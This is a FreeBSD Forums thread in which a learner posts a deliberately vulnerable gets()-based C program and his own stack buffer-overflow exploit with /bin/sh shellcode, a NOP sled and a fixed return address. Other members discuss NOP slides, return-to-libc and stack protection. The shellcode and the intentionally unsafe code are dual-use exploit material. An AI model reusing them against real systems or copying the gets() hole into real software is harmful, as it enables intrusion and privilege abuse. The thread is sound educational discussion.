182a4 Spawning shell using buffer overflow in C program - The FreeBSD Forums
The FreeBSD Forums  

Go Back   The FreeBSD Forums > Development > Userland Programming & Scripting

Userland Programming & Scripting C, Shell, Perl, Sed & Awk

Reply
 
Thread Tools Display Modes
  #1  
Old January 6th, 2010, 23:36
TariqYousaf TariqYousaf is offline
Junior Member
 
Join Date: Jan 2010
Posts: 6
Thanks: 2
Thanked 0 Times in 0 Posts
Default Spawning shell using buffer overflow in C program

I have written a program "master.c" that is using gets and is vulnerable to buffer overflow:

Code:
//----- master.c -- MASTER PROGRAM ------------------------------
#include <stdio.h>

int main(int argc, char** argv)
{
    char buf[100];
   
    printf("Please enter your name: ");
    fflush(stdout);
    gets(buf);
    printf("Hello \"%s\"\n", buf);
}

void notcalled(void)
{
    printf("This is a secret string");
}
I have written another program "shellcode.c" that overflows the buffer in master.c and tried to spawn a shell at the terminal:

Code:
//---- shellcode.c --- MY PROGRAM ----------------------------
#include <stdio.h>

char shellops[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

#define NOP        0x90
#define BUFLEN    108
#define RETADDR    0xbfbffa4c

int main(void)
{
    char buf[BUFLEN];
    int i;
   
    for (i=0; i<BUFLEN; i+=4)
        *(long *)&buf[i] = RETADDR;
   
    for (i=0; i<50; i++)
        *(buf+i) = NOP;
   
    memcpy(buf+i, shellops, strlen(shellops));

    printf("%s", buf);

    return 0;
}
To achieve this, I have already written the assembly program to spawn the shell and obtained the OP codes against the assembly code. Then I have written a C program to create a char buffer containing those OP codes and tried to overflow the buffer of the master program.... so that the return address of the main is overwritten with the address of the char buffer containing the code for spawning the shell.

When it comes to passing the input string (i.e. the buffer containing the shell spawning code) to the master program, I have simply used the piped out of my program to the master program (i.e. standard output and standard input).

i.e. TY@Bash$ ./shellcode | ./master

Unfortunately, this trick doesn't work for me, even with a lot of variations in address and the code.

I need to know all the possible ways to pass the data (containing the OP codes) to the master program ... when required by GETS().

** As a verification, I have already checked the code overflow the buffer of my own program i.e. shellcode.c and found that it spawns the shell successfully. I have even tried adding an instruction for "INT3" it works fine. This leads me conclude the following:
- Either I am not passing the string to the master program in the correct way.
- Or I am unable to locate the correct address of the variable 'buf' in master.c to return to.

Last edited by DutchDaemon; January 7th, 2010 at 00:24. Reason: added [code] tags, killed fonts
Reply With Quote
  #2  
Old January 7th, 2010, 00:26
DutchDaemon's Avatar
DutchDaemon DutchDaemon is offline
Administrator
 
Join Date: Nov 2008
Location: Rotterdam, the Netherlands
Posts: 9,828
Thanks: 30
Thanked 1,887 Times in 1,332 Posts
Default

Please use [code] tags and leave the fonts alone.
( Posting and Editing in the FreeBSD Forums )
__________________
FreeBSD Forums: Information for New Members | FreeBSD Forums Rules
FreeBSD Resources: The FreeBSD Handbook | Manuals | FAQ | Wiki
Before you post: How to ask questions the smart way
If you must know .. So, what does an Adminstrator/Moderator do?
---> Do not PM me with FreeBSD questions. I do not work here. <---
Reply With Quote
The Following User Says Thank You to DutchDaemon For This Useful Post:
TariqYousaf (January 7th, 2010)
  #3  
Old January 7th, 2010, 09:10
SirDice's Avatar
SirDice SirDice is offline
Moderator
 
Join Date: Nov 2008
Location: Rotterdam, Netherlands
Posts: 13,703
Thanks: 47
Thanked 2,022 Times in 1,861 Posts
Default

http://www.phrack.com/issues.html?issue=49&id=14
__________________
Senior UNIX Engineer at Unix Support Nederland
Experience is something you don't get until just after you need it.
Reply With Quote
  #4  
Old January 7th, 2010, 12:27
Alt's Avatar
Alt Alt is offline
Member
 
Join Date: Nov 2008
Location: Mother Russia
Posts: 726
Thanks: 32
Thanked 77 Times in 71 Posts
Default

When i tested same mechanigs long time ago, i used many NOPs for more graceful EIP "landing"
Reply With Quote
  #5  
Old January 7th, 2010, 13:12
SirDice's Avatar
SirDice SirDice is offline
Moderator
 
Join Date: Nov 2008
Location: Rotterdam, Netherlands
Posts: 13,703
Thanks: 47
Thanked 2,022 Times in 1,861 Posts
Default

Quote:
Originally Posted by Alt View Post
When i tested same mechanigs long time ago, i used many NOPs for more graceful EIP "landing"
That's the easiest way to do it, it's called a NOP slide

You basically get the correct point to insert the 'new' EIP. The new address points somewhere in the middle of the NOP slide. Then you don't have to be so exact. At the end of the NOP slide is the shell code.
__________________
Senior UNIX Engineer at Unix Support Nederland
Experience is something you don't get until just after you need it.
Reply With Quote
  #6  
Old January 7th, 2010, 17:02
TariqYousaf TariqYousaf is offline
Junior Member
 
Join Date: Jan 2010
Posts: 6
Thanks: 2
Thanked 0 Times in 0 Posts
Default

But I have tried executing some other commands like '/usr/bin/who' , '/bin/hostname' but a set of commands like '/bin/sh', '/bin/bash', '/bin/ls' don't work... I wonder there is any special difference between these commands....!!!

Thanks for your worth it comments though, I'm trying the way out with more NOPs to hit the right address.
Reply With Quote
  #7  
Old January 7th, 2010, 17:16
SirDice's Avatar
SirDice SirDice is offline
Moderator
 
Join Date: Nov 2008
Location: Rotterdam, Netherlands
Posts: 13,703
Thanks: 47
Thanked 2,022 Times in 1,861 Posts
Default

Quote:
Originally Posted by TariqYousaf View Post
But I have tried executing some other commands like '/usr/bin/who' , '/bin/hostname' but a set of commands like '/bin/sh', '/bin/bash', '/bin/ls' don't work... I wonder there is any special difference between these commands....!!!
Yes, there is no /bin/bash

You need to make absolutely sure you've got the right spot where EIP gets overwritten. This is usually the hardest part of the exploit.
__________________
Senior UNIX Engineer at Unix Support Nederland
Experience is something you don't get until just after you need it.
Reply With Quote
  #8  
Old January 7th, 2010, 20:59
LateNiteTV LateNiteTV is offline
Member
 
Join Date: Nov 2008
Location: palm springs
Posts: 391
Thanks: 21
Thanked 24 Times in 24 Posts
Default

does freebsd use a non executable stack?
maybe returning into libc is what you need to do.
Reply With Quote
  #9  
Old January 7th, 2010, 21:28
SirDice's Avatar
SirDice SirDice is offline
Moderator
 
Join Date: Nov 2008
Location: Rotterdam, Netherlands
Posts: 13,703
Thanks: 47
Thanked 2,022 Times in 1,861 Posts
Default

Quote:
Originally Posted by LateNiteTV View Post
does freebsd use a non executable stack?
AFAIK no. But if I'm not mistaken 8.0-release was the first release to use SSP (stack-smashing protector) aka ProPolice. Which uses canaries to detect/prevent stack based overflows. This might be the reason why it's not succeeding.

http://en.wikipedia.org/wiki/Buffer_overflow_protection


Quote:
maybe returning into libc is what you need to do.
I'd say give it a shot, I'm too rusty to do it hands-on these days
__________________
Senior UNIX Engineer at Unix Support Nederland
Experience is something you don't get until just after you need it.
Reply With Quote
  #10  
Old January 7th, 2010, 22:32
TariqYousaf TariqYousaf is offline
Junior Member
 
Join Date: Jan 2010
Posts: 6
Thanks: 2
Thanked 0 Times in 0 Posts
Lightbulb

Quote:
Yes, there is no /bin/bash
sorry for the typo I meant '/usr/local/bin/bash'.
Quote:
AFAIK no. But if I'm not mistaken 8.0-release was the first release to use SSP (stack-smashing protector) aka ProPolice. Which uses canaries to detect/prevent stack based overflows. This might be the reason why it's not succeeding.
Let me clear my point please.
1- I'm using FreeBSD 4.8.
2- I've successfully smashed the stack and executed the code to run the commands like 'who', 'hostname' and 'pwd'.
3- I'm unable to execute 'sh', 'bash' and 'ls'.

Please advise!!!
Reply With Quote
  #11  
Old January 7th, 2010, 22:35
TariqYousaf TariqYousaf is offline
Junior Member
 
Join Date: Jan 2010
Posts: 6
Thanks: 2
Thanked 0 Times in 0 Posts
Question

Is there any special difference in the internal working of 'sh' & 'bash' as compared to 'who' & 'hostname'?
Reply With Quote
  #12  
Old January 12th, 2010, 01:36
TariqYousaf TariqYousaf is offline
Junior Member
 
Join Date: Jan 2010
Posts: 6
Thanks: 2
Thanked 0 Times in 0 Posts
Default

Hey guys... I've figured out the reason why the shell is not getting spawned but still don't know beneath the surface i.e. how to get it solved; so I need to give you guys an SOS call ...

Actually, shell is generated as a Zombie process for a couple of seconds and then it gets destroyed.

Could you please suggest me a way out of this...!
Reply With Quote
  #13  
Old January 12th, 2010, 03:55
TariqYousaf TariqYousaf is offline
Junior Member
 
Join Date: Jan 2010
Posts: 6
Thanks: 2
Thanked 0 Times in 0 Posts
Default

Morever, the execve man says:
Code:
execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program 
loaded. The program invoked inherits the calling process's PID
But in my case, if I debug the program and try to execute the injected code, it executes the 'sh' but as a Zombie whose Parent ID is the vulnerable program (i.e. MASTER.C as mentioned in the first post) where as according to the 'execve man' it should be the Id of the shell I'm executing the program in.

Last edited by DutchDaemon; May 13th, 2012 at 23:37.
Reply With Quote
  #14  
Old May 13th, 2012, 08:18
mathlabi mathlabi is offline
Junior Member
 
Join Date: May 2012
Posts: 1
Thanks: 0
Thanked 0 Times in 0 Posts
Default Any solution to the problem?

Tariq,

Did you find any solution to the problem? Could you please post the assembly code and the debugger code also?

Thanks

Jeff
Reply With Quote
Reply

Tags
buffer overflow, freebsd, shellcode

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
Frame Buffer in FreeBSD (fbsplash) CdK1 Multimedia 15 March 30th, 2013 08:00
Screen buffer / Scroll Lock FestusHagen General 11 April 29th, 2011 19:02
[Solved] tightvnc in jail. Problem with spawning terminal devices and desktop startup. MG X.Org 1 January 7th, 2010 01:19
PROBLEM samba Error = No buffer eazysnatch Web & Network Services 1 September 18th, 2009 11:25
[Solved] sendto: No buffer space anujshrestha Networking 4 May 18th, 2009 10:03


All times are GMT +1. The time now is 11:51.


Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2013, vBulletin Solutions, Inc.
The mark FreeBSD is a registered trademark of The FreeBSD Foundation and is used by The FreeBSD Project with the permission of The FreeBSD Foundation.
Web protection and acceleration provided by CloudFlare
0